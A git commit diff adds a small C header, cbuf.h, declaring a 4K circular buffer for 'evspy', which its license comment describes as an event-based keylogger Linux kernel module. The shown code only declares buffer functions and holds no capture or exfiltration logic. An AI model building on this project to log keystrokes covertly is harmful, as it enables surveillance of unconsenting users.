First version of cbuf.c and cbuf.h

Switching to standard kfifo.h Linux circular buffer implementation

1 files changed, 36 insertions, 0 deletions

diff --git a/cbuf.h b/cbuf.h
new file mode 100644
index 0000000..a996cee
--- /dev/null
+++ b/cbuf.h
@@ -0,0 +1,36 @@
+/*
+ *   evspy - event based keylogger (Linux module)
+ *
+ *   Copyright (c) 2011 Guillermo Ramos <0xwille@gmail.com>
+ *   based on evbug module by Vojtech Pavlik ((c) 1999-2001)
+ *
+ * This file is part of evspy
+ *
+ * evspy is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * evspy is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with evspy.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef _EVS_CBUF_H
+#define _EVS_CBUF_H
+
+
+#include <asm/page.h>
+
+#define CBUF_SIZE		PAGE_SIZE			// size of the circular buffer (4K)
+
+void cbuf_init(void);
+int cbuf_read(char *to, int count, int *eof);
+void cbuf_write(char c);
+
+
+#endif		/* _EVS_CBUF_H */